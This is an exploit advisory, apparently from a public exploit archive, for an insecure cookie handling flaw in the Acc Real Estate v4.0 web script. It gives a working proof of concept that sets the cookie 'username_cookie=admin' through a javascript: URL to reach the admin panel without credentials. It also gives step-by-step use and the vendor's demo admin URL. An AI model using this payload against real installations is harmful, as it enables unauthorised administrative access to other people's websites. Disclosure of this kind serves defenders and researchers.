Acc Real Estate version 4.0 suffers from an insecure cookie handling vulnerability.
835c8460c2e39b9a59acb4d59339ecc5110b4300f40ff5ce0e556e4b1d80fba1
###########################################################################
______ __ __ ______ __ ______
/ ____/___ \ \/ / / ____/___ ____/ /__ __________ /_ __/__ ____ _____ ___
/ __/ / __ `/\ / / / / __ \/ __ / _ \/ ___/ ___/ / / / _ \/ __ `/ __ `__ \
/ /___/ /_/ / / / / /___/ /_/ / /_/ / __/ / (__ ) / / / __/ /_/ / / / / / /
/_____/\__, / /_/ \____/\____/\__,_/\___/_/ /____/ /_/ \___/\__,_/_/ /_/ /_/
/____/
# [~] Discovered by : Hakxer
# [~] Type Gap : Acc Real Estate v4.0 Insecure Cookie Handling
# [~] Script : https://www.accscripts.com/realestate/admin-area-specifications.html
# [~] Greetz : Allah .. " Allah AkBar .. " Big Hacking SoOoN
##########################################################################
Bug In : /admin/Index.php
PoC : javascript:document.cookie="username_cookie=admin";
[~] Admin panel
https://www.accscripts.com/realestate/demo/admin/index.php
[~] Execute JS Code javascript:document.cookie="username_cookie=admin";
[~] Refresh
# Proud To be a Muslim #
#_=END=_#